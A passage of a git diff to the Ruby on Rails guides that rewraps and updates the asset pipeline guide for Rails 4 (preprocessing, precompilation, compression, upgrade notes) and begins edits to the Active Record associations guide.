`admin.css` +and `admin.js` manifest could contain the JS and CSS files that are used for the +admin section of an application. + +The same remarks about ordering made above apply. In particular, you can specify +individual files and they are compiled in the order specified. For example, you +might concatenate three CSS files together this way: ```js /* ... @@ -314,21 +523,41 @@ The same remarks about ordering made above apply. In particular, you can specify */ ``` - ### Preprocessing -The file extensions used on an asset determine what preprocessing is applied. When a controller or a scaffold is generated with the default Rails gemset, a CoffeeScript file and a SCSS file are generated in place of a regular JavaScript and CSS file. The example used before was a controller called "projects", which generated an `app/assets/javascripts/projects.js.coffee` and an `app/assets/stylesheets/projects.css.scss` file. +The file extensions used on an asset determine what preprocessing is applied. +When a controller or a scaffold is generated with the default Rails gemset, a +CoffeeScript file and a SCSS file are generated in place of a regular JavaScript +and CSS file. The example used before was a controller called "projects", which +generated an `app/assets/javascripts/projects.js.coffee` and an +`app/assets/stylesheets/projects.css.scss` file. + +In development mode, or if the asset pipeline is disabled, when these files are +requested they are processed by the processors provided by the `coffee-script` +and `sass` gems and then sent back to the browser as JavaScript and CSS +respectively. When asset pipelining is enabled, these files are preprocessed and +placed in the `public/assets` directory for serving by either the Rails app or +web server. + +Additional layers of preprocessing can be requested by adding other extensions, +where each extension is processed in a right-to-left manner. These should be +used in the order the processing should be applied. For example, a stylesheet +called `app/assets/stylesheets/projects.css.scss.erb` is first processed as ERB, +then SCSS, and finally served as CSS. The same applies to a JavaScript file - +`app/assets/javascripts/projects.js.coffee.erb` is processed as ERB, then +CoffeeScript, and served as JavaScript. + +Keep in mind the order of these preprocessors is important. For example, if +you called your JavaScript file `app/assets/javascripts/projects.js.erb.coffee` +then it would be processed with the CoffeeScript interpreter first, which +wouldn't understand ERB and therefore you would run into problems. -When these files are requested, they are processed by the processors provided by the `coffee-script` and `sass` gems and then sent back to the browser as JavaScript and CSS respectively. - -Additional layers of preprocessing can be requested by adding other extensions, where each extension is processed in a right-to-left manner. These should be used in the order the processing should be applied. For example, a stylesheet called `app/assets/stylesheets/projects.css.scss.erb` is first processed as ERB, then SCSS, and finally served as CSS. The same applies to a JavaScript file — `app/assets/javascripts/projects.js.coffee.erb` is processed as ERB, then CoffeeScript, and served as JavaScript. - -Keep in mind that the order of these preprocessors is important. For example, if you called your JavaScript file `app/assets/javascripts/projects.js.erb.coffee` then it would be processed with the CoffeeScript interpreter first, which wouldn't understand ERB and therefore you would run into problems. In Development -------------- -In development mode, assets are served as separate files in the order they are specified in the manifest file. +In development mode, assets are served as separate files in the order they are +specified in the manifest file. This manifest `app/assets/javascripts/application.js`: @@ -348,41 +577,81 @@ would generate this HTML: The `body` param is required by Sprockets. +### Runtime Error Checking + +By default the asset pipeline will check for potential errors in development mode during +runtime. To disable this behavior you can set: + +```ruby +config.assets.raise_runtime_errors = false +``` + +When `raise_runtime_errors` is set to `false` sprockets will not check that dependencies of assets are declared properly. Here is a scenario where you must tell the asset pipeline about a dependency: + +If you have `application.css.erb` that references `logo.png` like this: + +```css +#logo { background: url(<%= asset_data_uri 'logo.png' %>) } +``` + +Then you must declare that `logo.png` is a dependency of `application.css.erb`, so when the image gets re-compiled, the css file does as well. You can do this using the `//= depend_on_asset` declaration: + +```css +//= depend_on_asset "logo.png" +#logo { background: url(<%= asset_data_uri 'logo.png' %>) } +``` + +Without this declaration you may experience strange behavior when pushing to production that is difficult to debug. When you have `raise_runtime_errors` set to `true`, dependencies will be checked at runtime so you can ensure that all dependencies are met. + + ### Turning Debugging Off -You can turn off debug mode by updating `config/environments/development.rb` to include: +You can turn off debug mode by updating `config/environments/development.rb` to +include: ```ruby config.assets.debug = false ``` -When debug mode is off, Sprockets concatenates and runs the necessary preprocessors on all files. With debug mode turned off the manifest above would generate instead: +When debug mode is off, Sprockets concatenates and runs the necessary +preprocessors on all files. With debug mode turned off the manifest above would +generate instead: ```html <script src="/assets/application.js"></script> ``` -Assets are compiled and cached on the first request after the server is started. Sprockets sets a `must-revalidate` Cache-Control HTTP header to reduce request overhead on subsequent requests — on these the browser gets a 304 (Not Modified) response. +Assets are compiled and cached on the first request after the server is started. +Sprockets sets a `must-revalidate` Cache-Control HTTP header to reduce request +overhead on subsequent requests - on these the browser gets a 304 (Not Modified) +response. -If any of the files in the manifest have changed between requests, the server responds with a new compiled file. +If any of the files in the manifest have changed between requests, the server +responds with a new compiled file. -Debug mode can also be enabled in the Rails helper methods: +Debug mode can also be enabled in Rails helper methods: ```erb <%= stylesheet_link_tag "application", debug: true %> <%= javascript_include_tag "application", debug: true %> ``` -The `:debug` option is redundant if debug mode is on. +The `:debug` option is redundant if debug mode is already on. -You could potentially also enable compression in development mode as a sanity check, and disable it on-demand as required for debugging. +You can also enable compression in development mode as a sanity check, and +disable it on-demand as required for debugging. In Production ------------- -In the production environment Rails uses the fingerprinting scheme outlined above. By default Rails assumes that assets have been precompiled and will be served as static assets by your web server. +In the production environment Sprockets uses the fingerprinting scheme outlined +above. By default Rails assumes assets have been precompiled and will be +served as static assets by your web server. -During the precompilation phase an MD5 is generated from the contents of the compiled files, and inserted into the filenames as they are written to disc. These fingerprinted names are used by the Rails helpers in place of the manifest name. +During the precompilation phase an MD5 is generated from the contents of the +compiled files, and inserted into the filenames as they are written to disc. +These fingerprinted names are used by the Rails helpers in place of the manifest +name. For example this: @@ -395,71 +664,81 @@ generates something like this: ```html <script src="/assets/application-908e25f4bf641868d8683022a5b62f54.js"></script> -<link href="/assets/application-4dd5b109ee3439da54f5bdfd78a80473.css" media="screen" rel="stylesheet" /> +<link href="/assets/application-4dd5b109ee3439da54f5bdfd78a80473.css" media="screen" +rel="stylesheet" /> ``` -Note: with the Asset Pipeline the :cache and :concat options aren't used anymore, delete these options from the `javascript_include_tag` and `stylesheet_link_tag`. +Note: with the Asset Pipeline the :cache and :concat options aren't used +anymore, delete these options from the `javascript_include_tag` and +`stylesheet_link_tag`. +The fingerprinting behavior is controlled by the `config.assets.digest` +initialization option (which defaults to `true` for production and `false` for +everything else). -The fingerprinting behavior is controlled by the setting of `config.assets.digest` setting in Rails (which defaults to `true` for production and `false` for everything else). - -NOTE: Under normal circumstances the default option should not be changed. If there are no digests in the filenames, and far-future headers are set, remote clients will never know to refetch the files when their content changes. +NOTE: Under normal circumstances the default `config.assets.digest` option +should not be changed. If there are no digests in the filenames, and far-future +headers are set, remote clients will never know to refetch the files when their +content changes. ### Precompiling Assets -Rails comes bundled with a rake task to compile the asset manifests and other files in the pipeline to the disk. +Rails comes bundled with a rake task to compile the asset manifests and other +files in the pipeline. -Compiled assets are written to the location specified in `config.assets.prefix`. By default, this is the `public/assets` directory. +Compiled assets are written to the location specified in `config.assets.prefix`. +By default, this is the `/assets` directory. -You can call this task on the server during deployment to create compiled versions of your assets directly on the server. See the next section for information on compiling locally. +You can call this task on the server during deployment to create compiled +versions of your assets directly on the server. See the next section for +information on compiling locally. The rake task is: ```bash -$ bundle exec rake assets:precompile +$ RAILS_ENV=production bundle exec rake assets:precompile ``` -For faster asset precompiles, you can partially load your application by setting -`config.assets.initialize_on_precompile` to false in `config/application.rb`, though in that case templates -cannot see application objects or methods. **Heroku requires this to be false.** - -WARNING: If you set `config.assets.initialize_on_precompile` to false, be sure to -test `rake assets:precompile` locally before deploying. It may expose bugs where -your assets reference application objects or methods, since those are still -in scope in development mode regardless of the value of this flag. Changing this flag also affects -engines. Engines can define assets for precompilation as well. Since the complete environment is not loaded, -engines (or other gems) will not be loaded, which can cause missing assets. - -Capistrano (v2.8.0 and above) includes a recipe to handle this in deployment. Add the following line to `Capfile`: +Capistrano (v2.15.1 and above) includes a recipe to handle this in deployment. +Add the following line to `Capfile`: ```ruby load 'deploy/assets' ``` -This links the folder specified in `config.assets.prefix` to `shared/assets`. If you already use this shared folder you'll need to write your own deployment task. +This links the folder specified in `config.assets.prefix` to `shared/assets`. +If you already use this shared folder you'll need to write your own deployment +task. -It is important that this folder is shared between deployments so that remotely cached pages that reference the old compiled assets still work for the life of the cached page. +It is important that this folder is shared between deployments so that remotely +cached pages referencing the old compiled assets still work for the life of +the cached page. -NOTE. If you are precompiling your assets locally, you can use `bundle install --without assets` on the server to avoid installing the assets gems (the gems in the assets group in the Gemfile). - -The default matcher for compiling files includes `application.js`, `application.css` and all non-JS/CSS files (this will include all image assets automatically): +The default matcher for compiling files includes `application.js`, +`application.css` and all non-JS/CSS files (this will include all image assets +automatically) from `app/assets` folders including your gems: ```ruby -[ Proc.new { |path| !%w(.js .css).include?(File.extname(path)) }, /application.(css|js)$/ ] +[ Proc.new { |path, fn| fn =~ /app\/assets/ && !%w(.js .css).include?(File.extname(path)) }, +/application.(css|js)$/ ] ``` -NOTE. The matcher (and other members of the precompile array; see below) is applied to final compiled file names. This means that anything that compiles to JS/CSS is excluded, as well as raw JS/CSS files; for example, `.coffee` and `.scss` files are **not** automatically included as they compile to JS/CSS. +NOTE: The matcher (and other members of the precompile array; see below) is +applied to final compiled file names. This means anything that compiles to +JS/CSS is excluded, as well as raw JS/CSS files; for example, `.coffee` and +`.scss` files are **not** automatically included as they compile to JS/CSS. -If you have other manifests or individual stylesheets and JavaScript files to include, you can add them to the `precompile` array: +If you have other manifests or individual stylesheets and JavaScript files to +include, you can add them to the `precompile` array in `config/application.rb`: ```ruby config.assets.precompile += ['admin.js', 'admin.css', 'swfObject.js'] ``` -Or you can opt to precompile all assets with something like this: +Or, you can opt to precompile all assets with something like this: ```ruby -# config/environments/production.rb +# config/application.rb config.assets.precompile << Proc.new do |path| if path =~ /\.(css|js)\z/ full_path = Rails.application.assets.resolve(path).to_path @@ -477,38 +756,51 @@ config.assets.precompile << Proc.new do |path| end ``` -NOTE. Always specify an expected compiled filename that ends with js or css, even if you want to add Sass or CoffeeScript files to the precompile array. +NOTE. Always specify an expected compiled filename that ends with .js or .css, +even if you want to add Sass or CoffeeScript files to the precompile array. -The rake task also generates a `manifest.yml` that contains a list with all your assets and their respective fingerprints. This is used by the Rails helper methods to avoid handing the mapping requests back to Sprockets. A typical manifest file looks like: +The rake task also generates a `manifest-md5hash.json` that contains a list with +all your assets and their respective fingerprints. This is used by the Rails +helper methods to avoid handing the mapping requests back to Sprockets. A +typical manifest file looks like: -```yaml ---- -rails.png: rails-bd9ad5a560b5a3a7be0808c5cd76a798.png -jquery-ui.min.js: jquery-ui-7e33882a28fc84ad0e0e47e46cbf901c.min.js -jquery.min.js: jquery-8a50feed8d29566738ad005e19fe1c2d.min.js -application.js: application-3fdab497b8fb70d20cfc5495239dfc29.js -application.css: application-8af74128f904600e41a6e39241464e03.css +```ruby +{"files":{"application-723d1be6cc741a3aabb1cec24276d681.js":{"logical_path":"application.js","mtime":"2013-07-26T22:55:03-07:00","size":302506, +"digest":"723d1be6cc741a3aabb1cec24276d681"},"application-12b3c7dd74d2e9df37e7cbb1efa76a6d.css":{"logical_path":"application.css","mtime":"2013-07-26T22:54:54-07:00","size":1560, +"digest":"12b3c7dd74d2e9df37e7cbb1efa76a6d"},"application-1c5752789588ac18d7e1a50b1f0fd4c2.css":{"logical_path":"application.css","mtime":"2013-07-26T22:56:17-07:00","size":1591, +"digest":"1c5752789588ac18d7e1a50b1f0fd4c2"},"favicon-a9c641bf2b81f0476e876f7c5e375969.ico":{"logical_path":"favicon.ico","mtime":"2013-07-26T23:00:10-07:00","size":1406, +"digest":"a9c641bf2b81f0476e876f7c5e375969"},"my_image-231a680f23887d9dd70710ea5efd3c62.png":{"logical_path":"my_image.png","mtime":"2013-07-26T23:00:27-07:00","size":6646, +"digest":"231a680f23887d9dd70710ea5efd3c62"}},"assets"{"application.js": +"application-723d1be6cc741a3aabb1cec24276d681.js","application.css": +"application-1c5752789588ac18d7e1a50b1f0fd4c2.css", +"favicon.ico":"favicona9c641bf2b81f0476e876f7c5e375969.ico","my_image.png": +"my_image-231a680f23887d9dd70710ea5efd3c62.png"}} ``` -The default location for the manifest is the root of the location specified in `config.assets.prefix` ('/assets' by default). +The default location for the manifest is the root of the location specified in +`config.assets.prefix` ('/assets' by default). -NOTE: If there are missing precompiled files in production you will get an `Sprockets::Helpers::RailsHelper::AssetPaths::AssetNotPrecompiledError` exception indicating the name of the missing file(s). +NOTE: If there are missing precompiled files in production you will get an +`Sprockets::Helpers::RailsHelper::AssetPaths::AssetNotPrecompiledError` +exception indicating the name of the missing file(s). #### Far-future Expires Header -Precompiled assets exist on the filesystem and are served directly by your web server. They do not have far-future headers by default, so to get the benefit of fingerprinting you'll have to update your server configuration to add them. +Precompiled assets exist on the filesystem and are served directly by your web +server. They do not have far-future headers by default, so to get the benefit of +fingerprinting you'll have to update your server configuration to add those +headers. For Apache: ```apache -# The Expires* directives requires the Apache module `mod_expires` to be enabled. +# The Expires* directives requires the Apache module +# `mod_expires` to be enabled. <Location /assets/> # Use of ETag is discouraged when Last-Modified is present - Header unset ETag - FileETag None + Header unset ETag FileETag None # RFC says only cache for 1 year - ExpiresActive On - ExpiresDefault "access plus 1 year" + ExpiresActive On ExpiresDefault "access plus 1 year" </Location> ``` @@ -526,7 +818,13 @@ location ~ ^/assets/ { #### GZip Compression -When files are precompiled, Sprockets also creates a [gzipped](http://en.wikipedia.org/wiki/Gzip) (.gz) version of your assets. Web servers are typically configured to use a moderate compression ratio as a compromise, but since precompilation happens once, Sprockets uses the maximum compression ratio, thus reducing the size of the data transfer to the minimum. On the other hand, web servers can be configured to serve compressed content directly from disk, rather than deflating non-compressed files themselves. +When files are precompiled, Sprockets also creates a +[gzipped](http://en.wikipedia.org/wiki/Gzip) (.gz) version of your assets. Web +servers are typically configured to use a moderate compression ratio as a +compromise, but since precompilation happens once, Sprockets uses the maximum +compression ratio, thus reducing the size of the data transfer to the minimum. +On the other hand, web servers can be configured to serve compressed content +directly from disk, rather than deflating non-compressed files themselves. Nginx is able to do this automatically enabling `gzip_static`: @@ -539,53 +837,32 @@ location ~ ^/(assets)/ { } ``` -This directive is available if the core module that provides this feature was compiled with the web server. Ubuntu packages, even `nginx-light` have the module compiled. Otherwise, you may need to perform a manual compilation: +This directive is available if the core module that provides this feature was +compiled with the web server. Ubuntu/Debian packages, even `nginx-light`, have +the module compiled. Otherwise, you may need to perform a manual compilation: ```bash ./configure --with-http_gzip_static_module ``` -If you're compiling nginx with Phusion Passenger you'll need to pass that option when prompted. - -Apache is also able to serve the [gzipped](http://en.wikipedia.org/wiki/Gzip) version of your assets; however, it requires a bit more work: +If you're compiling nginx with Phusion Passenger you'll need to pass that option +when prompted. -```apache -<LocationMatch "^/assets/.*$"> - Header unset ETag - FileETag None - - # RFC says only cache for 1 year - ExpiresActive On - ExpiresDefault "access plus 1 year" - - RewriteEngine On - RewriteCond %{HTTP:Accept-Encoding} gzip - RewriteCond %{HTTP_USER_AGENT} !Konqueror - RewriteCond %{REQUEST_FILENAME}.gz -f - RewriteRule ^(.+).(css|js)$ $1.$2.gz [QSA,L] -</LocationMatch> - -<FilesMatch \.css\.gz> - ForceType text/css -</FilesMatch> - -<FilesMatch \.js\.gz> - ForceType application/javascript -</FilesMatch> -AddEncoding gzip .gz -``` - -NOTE: You will need to make sure `mod_headers`, `mod_mime` and `mod_rewrite` are loaded; otherwise, the above configuration will fail. +A robust configuration for Apache is possible but tricky; please Google around. +(Or help update this Guide if you have a good configuration example for Apache.) ### Local Precompilation -There are several reasons why you might want to precompile your assets locally. Among them are: +There are several reasons why you might want to precompile your assets locally. +Among them are: * You may not have write access to your production file system. -* You may be deploying to more than one server, and want to avoid the duplication of work. +* You may be deploying to more than one server, and want to avoid +duplication of work. * You may be doing frequent deploys that do not include asset changes. -Local compilation allows you to commit the compiled files into source control, and deploy as normal. +Local compilation allows you to commit the compiled files into source control, +and deploy as normal. There are two caveats: @@ -598,23 +875,23 @@ In `config/environments/development.rb`, place the following line: config.assets.prefix = "/dev-assets" ``` -You will also need this in application.rb: - -```ruby -config.assets.initialize_on_precompile = false -``` - -The `prefix` change makes Rails use a different URL for serving assets in development mode, and pass all requests to Sprockets. The prefix is still set to `/assets` in the production environment. Without this change, the application would serve the precompiled assets from `public/assets` in development, and you would not see any local changes until you compile assets again. +The `prefix` change makes Sprockets use a different URL for serving assets in +development mode, and pass all requests to Sprockets. The prefix is still set to +`/assets` in the production environment. Without this change, the application +would serve the precompiled assets from `/assets` in development, and you would +not see any local changes until you compile assets again. -The `initialize_on_precompile` change tells the precompile task to run without invoking Rails. This is because the precompile task runs in production mode by default, and will attempt to connect to your specified production database. Please note that you cannot have code in pipeline files that relies on Rails resources (such as the database) when compiling locally with this option. +You will also need to ensure any necessary compressors or minifiers are +available on your development system. -You will also need to ensure that any compressors or minifiers are available on your development system. - -In practice, this will allow you to precompile locally, have those files in your working tree, and commit those files to source control when needed. Development mode will work as expected. +In practice, this will allow you to precompile locally, have those files in your +working tree, and commit those files to source control when needed. Development +mode will work as expected. ### Live Compilation -In some circumstances you may wish to use live compilation. In this mode all requests for assets in the pipeline are handled by Sprockets directly. +In some circumstances you may wish to use live compilation. In this mode all +requests for assets in the pipeline are handled by Sprockets directly. To enable this option set: @@ -622,13 +899,21 @@ To enable this option set: config.assets.compile = true ``` -On the first request the assets are compiled and cached as outlined in development above, and the manifest names used in the helpers are altered to include the MD5 hash. +On the first request the assets are compiled and cached as outlined in +development above, and the manifest names used in the helpers are altered to +include the MD5 hash. -Sprockets also sets the `Cache-Control` HTTP header to `max-age=31536000`. This signals all caches between your server and the client browser that this content (the file served) can be cached for 1 year. The effect of this is to reduce the number of requests for this asset from your server; the asset has a good chance of being in the local browser cache or some intermediate cache. +Sprockets also sets the `Cache-Control` HTTP header to `max-age=31536000`. This +signals all caches between your server and the client browser that this content +(the file served) can be cached for 1 year. The effect of this is to reduce the +number of requests for this asset from your server; the asset has a good chance +of being in the local browser cache or some intermediate cache. -This mode uses more memory, performs more poorly than the default and is not recommended. +This mode uses more memory, performs more poorly than the default and is not +recommended. -If you are deploying a production application to a system without any pre-existing JavaScript runtimes, you may want to add one to your Gemfile: +If you are deploying a production application to a system without any +pre-existing JavaScript runtimes, you may want to add one to your Gemfile: ```ruby group :production do @@ -638,36 +923,43 @@ end ### CDNs -If your assets are being served by a CDN, ensure they don't stick around in -your cache forever. This can cause problems. If you use +If your assets are being served by a CDN, ensure they don't stick around in your +cache forever. This can cause problems. If you use `config.action_controller.perform_caching = true`, Rack::Cache will use `Rails.cache` to store assets. This can cause your cache to fill up quickly. -Every cache is different, so evaluate how your CDN handles caching and make -sure that it plays nicely with the pipeline. You may find quirks related to -your specific set up, you may not. The defaults nginx uses, for example, -should give you no problems when used as an HTTP cache. +Every cache is different, so evaluate how your CDN handles caching and make sure +that it plays nicely with the pipeline. You may find quirks related to your +specific set up, you may not. The defaults nginx uses, for example, should give +you no problems when used as an HTTP cache. Customizing the Pipeline ------------------------ ### CSS Compression -There is currently one option for compressing CSS, YUI. The [YUI CSS compressor](http://developer.yahoo.com/yui/compressor/css.html) provides minification. +There is currently one option for compressing CSS, YUI. The [YUI CSS +compressor](http://yui.github.io/yuicompressor/css.html) provides +minification. -The following line enables YUI compression, and requires the `yui-compressor` gem. +The following line enables YUI compression, and requires the `yui-compressor` +gem. ```ruby config.assets.css_compressor = :yui ``` -The `config.assets.compress` must be set to `true` to enable CSS compression. - ### JavaScript Compression -Possible options for JavaScript compression are `:closure`, `:uglifier` and `:yui`. These require the use of the `closure-compiler`, `uglifier` or `yui-compressor` gems, respectively. +Possible options for JavaScript compression are `:closure`, `:uglifier` and +`:yui`. These require the use of the `closure-compiler`, `uglifier` or +`yui-compressor` gems, respectively. -The default Gemfile includes [uglifier](https://github.com/lautis/uglifier). This gem wraps [UglifierJS](https://github.com/mishoo/UglifyJS) (written for NodeJS) in Ruby. It compresses your code by removing white space. It also includes other optimizations such as changing your `if` and `else` statements to ternary operators where possible. +The default Gemfile includes [uglifier](https://github.com/lautis/uglifier). +This gem wraps [UglifyJS](https://github.com/mishoo/UglifyJS) (written for +NodeJS) in Ruby. It compresses your code by removing white space and comments, +shortening local variable names, and performing other micro-optimizations such +as changing `if` and `else` statements to ternary operators where possible. The following line invokes `uglifier` for JavaScript compression. @@ -675,13 +967,21 @@ The following line invokes `uglifier` for JavaScript compression. config.assets.js_compressor = :uglifier ``` -Note that `config.assets.compress` must be set to `true` to enable JavaScript compression +NOTE: You will need an [ExecJS](https://github.com/sstephenson/execjs#readme) +supported runtime in order to use `uglifier`. If you are using Mac OS X or +Windows you have a JavaScript runtime installed in your operating system. -NOTE: You will need an [ExecJS](https://github.com/sstephenson/execjs#readme) supported runtime in order to use `uglifier`. If you are using Mac OS X or Windows you have a JavaScript runtime installed in your operating system. Check the [ExecJS](https://github.com/sstephenson/execjs#readme) documentation for information on all of the supported JavaScript runtimes. +NOTE: The `config.assets.compress` initialization option is no longer used in +Rails 4 to enable either CSS or JavaScript compression. Setting it will have no +effect on the application. Instead, setting `config.assets.css_compressor` and +`config.assets.js_compressor` will control compression of CSS and JavaScript +assets. ### Using Your Own Compressor -The compressor config settings for CSS and JavaScript also take any object. This object must have a `compress` method that takes a string as the sole argument and it must return a string. +The compressor config settings for CSS and JavaScript also take any object. +This object must have a `compress` method that takes a string as the sole +argument and it must return a string. ```ruby class Transformer @@ -708,34 +1008,47 @@ This can be changed to something else: config.assets.prefix = "/some_other_path" ``` -This is a handy option if you are updating an older project that didn't use the asset pipeline and that already uses this path or you wish to use this path for a new resource. +This is a handy option if you are updating an older project that didn't use the +asset pipeline and already uses this path or you wish to use this path for +a new resource. ### X-Sendfile Headers -The X-Sendfile header is a directive to the web server to ignore the response from the application, and instead serve a specified file from disk. This option is off by default, but can be enabled if your server supports it. When enabled, this passes responsibility for serving the file to the web server, which is faster. +The X-Sendfile header is a directive to the web server to ignore the response +from the application, and instead serve a specified file from disk. This option +is off by default, but can be enabled if your server supports it. When enabled, +this passes responsibility for serving the file to the web server, which is +faster. -Apache and nginx support this option, which can be enabled in `config/environments/production.rb`. +Apache and nginx support this option, which can be enabled in +`config/environments/production.rb`: ```ruby # config.action_dispatch.x_sendfile_header = "X-Sendfile" # for apache # config.action_dispatch.x_sendfile_header = 'X-Accel-Redirect' # for nginx ``` -WARNING: If you are upgrading an existing application and intend to use this option, take care to paste this configuration option only into `production.rb` and any other environments you define with production behavior (not `application.rb`). +WARNING: If you are upgrading an existing application and intend to use this +option, take care to paste this configuration option only into `production.rb` +and any other environments you define with production behavior (not +`application.rb`). Assets Cache Store ------------------ -The default Rails cache store will be used by Sprockets to cache assets in development and production. This can be changed by setting `config.assets.cache_store`. +The default Rails cache store will be used by Sprockets to cache assets in +development and production. This can be changed by setting +`config.assets.cache_store`: ```ruby config.assets.cache_store = :memory_store ``` -The options accepted by the assets cache store are the same as the application's cache store. +The options accepted by the assets cache store are the same as the application's +cache store. ```ruby -config.assets.cache_store = :memory_store, { :size => 32.megabytes } +config.assets.cache_store = :memory_store, { size: 32.megabytes } ``` Adding Assets to Your Gems @@ -743,25 +1056,35 @@ Adding Assets to Your Gems Assets can also come from external sources in the form of gems. -A good example of this is the `jquery-rails` gem which comes with Rails as the standard JavaScript library gem. This gem contains an engine class which inherits from `Rails::Engine`. By doing this, Rails is informed that the directory for this gem may contain assets and the `app/assets`, `lib/assets` and `vendor/assets` directories of this engine are added to the search path of Sprockets. +A good example of this is the `jquery-rails` gem which comes with Rails as the +standard JavaScript library gem. This gem contains an engine class which +inherits from `Rails::Engine`. By doing this, Rails is informed that the +directory for this gem may contain assets and the `app/assets`, `lib/assets` and +`vendor/assets` directories of this engine are added to the search path of +Sprockets. Making Your Library or Gem a Pre-Processor ------------------------------------------ As Sprockets uses [Tilt](https://github.com/rtomayko/tilt) as a generic -interface to different templating engines, your gem should just -implement the Tilt template protocol. Normally, you would subclass -`Tilt::Template` and reimplement `evaluate` method to return final -output. Template source is stored at `@code`. Have a look at +interface to different templating engines, your gem should just implement the +Tilt template protocol. Normally, you would subclass `Tilt::Template` and +reimplement the `prepare` method, which initializes your template, and the +`evaluate` method, which returns the processed source. The original source is +stored in `data`. Have a look at [`Tilt::Template`](https://github.com/rtomayko/tilt/blob/master/lib/tilt/template.rb) sources to learn more. ```ruby module BangBang class Template < ::Tilt::Template + def prepare + # Do any initialization here + end + # Adds a "!" to original template. def evaluate(scope, locals, &block) - "#{@code}!" + "#{data}!" end end end @@ -777,31 +1100,30 @@ Sprockets.register_engine '.bang', BangBang::Template Upgrading from Old Versions of Rails ------------------------------------ -There are a few issues when upgrading. The first is moving the files from `public/` to the new locations. See [Asset Organization](#asset-organization) above for guidance on the correct locations for different file types. +There are a few issues when upgrading from Rails 3.0 or Rails 2.x. The first is +moving the files from `public/` to the new locations. See [Asset +Organization](#asset-organization) above for guidance on the correct locations +for different file types. -Next will be avoiding duplicate JavaScript files. Since jQuery is the default JavaScript library from Rails 3.1 onwards, you don't need to copy `jquery.js` into `app/assets` and it will be included automatically. +Next will be avoiding duplicate JavaScript files. Since jQuery is the default +JavaScript library from Rails 3.1 onwards, you don't need to copy `jquery.js` +into `app/assets` and it will be included automatically. -The third is updating the various environment files with the correct default options. The following changes reflect the defaults in version 3.1.0. +The third is updating the various environment files with the correct default +options. In `application.rb`: ```ruby -# Enable the asset pipeline -config.assets.enabled = true - # Version of your assets, change this if you want to expire all your assets config.assets.version = '1.0' -# Change the path that assets are served from -# config.assets.prefix = "/assets" +# Change the path that assets are served from config.assets.prefix = "/assets" ``` In `development.rb`: ```ruby -# Do not compress assets -config.assets.compress = false - # Expands the lines which load the assets config.assets.debug = true ``` @@ -809,52 +1131,28 @@ config.assets.debug = true And in `production.rb`: ```ruby -# Compress JavaScripts and CSS -config.assets.compress = true - -# Choose the compressors to use -# config.assets.js_compressor = :uglifier -# config.assets.css_compressor = :yui +# Choose the compressors to use (if any) config.assets.js_compressor = +# :uglifier config.assets.css_compressor = :yui # Don't fallback to assets pipeline if a precompiled asset is missed config.assets.compile = false -# Generate digests for assets URLs. +# Generate digests for assets URLs. This is planned for deprecation. config.assets.digest = true -# Precompile additional assets (application.js, application.css, and all non-JS/CSS are already added) -# config.assets.precompile += %w( search.js ) +# Precompile additional assets (application.js, application.css, and all +# non-JS/CSS are already added) config.assets.precompile += %w( search.js ) ``` -You should not need to change `test.rb`. The defaults in the test environment are: `config.assets.compile` is true and `config.assets.compress`, `config.assets.debug` and `config.assets.digest` are false. +Rails 4 no longer sets default config values for Sprockets in `test.rb`, so +`test.rb` now requies Sprockets configuration. The old defaults in the test +environment are: `config.assets.compile = true`, `config.assets.compress = +false`, `config.assets.debug = false` and `config.assets.digest = false`. The following should also be added to `Gemfile`: ```ruby -# Gems used only for assets and not required -# in production environments by default. -group :assets do - gem 'sass-rails', "~> 3.2.3" - gem 'coffee-rails', "~> 3.2.1" - gem 'uglifier' -end -``` - -If you use the `assets` group with Bundler, please make sure that your `config/application.rb` has the following Bundler require statement: - -```ruby -if defined?(Bundler) - # If you precompile assets before deploying to production, use this line - Bundler.require *Rails.groups(:assets => %w(development test)) - # If you want your assets lazily compiled in production, use this line - # Bundler.require(:default, :assets, Rails.env) -end -``` - -Instead of the old Rails 3.0 version: - -```ruby -# If you have a Gemfile, require the gems listed there, including any gems -# you've limited to :test, :development, or :production. -Bundler.require(:default, Rails.env) if defined?(Bundler) +gem 'sass-rails', "~> 3.2.3" +gem 'coffee-rails', "~> 3.2.1" +gem 'uglifier' ``` diff --git a/guides/source/association_basics.md b/guides/source/association_basics.md index 8d203d265a..9867d2dc3f 100644 --- a/guides/source/association_basics.md +++ b/guides/source/association_basics.md @@ -40,7 +40,7 @@ end @customer.destroy ``` -With Active Record associations, we can streamline these — and other — operations by declaratively telling Rails that there is a connection between the two models. Here's the revised code for setting up customers and orders: +With Active Record associations, we can streamline these - and other - operations by declaratively telling Rails that there is a connection between the two models. Here's the revised code for setting up customers and orders: ```ruby class Customer < ActiveRecord::Base @@ -69,7 +69,7 @@ To learn more about the different types of associations, read the next section o The Types of Associations ------------------------- -In Rails, an _association_ is a connection between two Active Record models. Associations are implemented using macro-style calls, so that you can declaratively add features to your models. For example, by declaring that one model `belongs_to` another, you instruct Rails to maintain Primary Key–Foreign Key information between instances of the two models, and you also get a number of utility methods added to your model. Rails supports six types of associations: +In Rails, an _association_ is a connection between two Active Record models. Associations are implemented using macro-style calls, so that you can declaratively add features to your models. For example, by declaring that one model `belongs_to` another, you instruct Rails to maintain Primary Key-Foreign Key information between instances of the two models, and you also get a number of utility methods added to your model. Rails supports six types of associations: * `belongs_to` * `has_one` @@ -261,7 +261,10 @@ With `through: :sections` specified, Rails will now understand: ### The `has_one :through` Association -A `has_one :through` association sets up a one-to-one connection with another model. This association indicates that the declaring model can be matched with one instance of another model by proceeding _through_ a third model. For example, if each supplier has one account, and each account is associated with one account history, then the customer model could look like this: +A `has_one :through` association sets up a one-to-one connection with another model. This association indicates +that the declaring model can be matched with one instance of another model by proceeding _through_ a third model. +For example, if each supplier has one account, and each account is associated with one account history, then the +supplier model could look like this: ```ruby class Supplier < ActiveRecord::Base @@ -337,7 +340,7 @@ class CreateAssembliesAndParts < ActiveRecord::Migration t.timestamps end - create_table :assemblies_parts do |t| + create_table :assemblies_parts, id: false do |t| t.belongs_to :assembly t.belongs_to :part end @@ -693,6 +696,17 @@ There are a few limitations to `inverse_of` support: * They do not work with `:as` associations. * For `belongs_to` associations, `has_many` inverse associations are ignored. +Every association will attempt to automatically find the inverse association +and set the `:inverse_of` option heuristically (based on the association name). +Most associations with standard names will be supported. However, associations +that contain the following options will not have their inverses set +automatically: + +* :conditions +* :through +* :polymorphic +* :foreign_key + Detailed Association Reference ------------------------------ @@ -704,12 +718,13 @@ The `belongs_to` association creates a one-to-one match with another model. In d #### Methods Added by `belongs_to` -When you declare a `belongs_to` association, the declaring class automatically gains four methods related to the association: +When you declare a `belongs_to` association, the declaring class automatically gains five methods related to the association: * `association(force_reload = false)` * `association=(associate)` 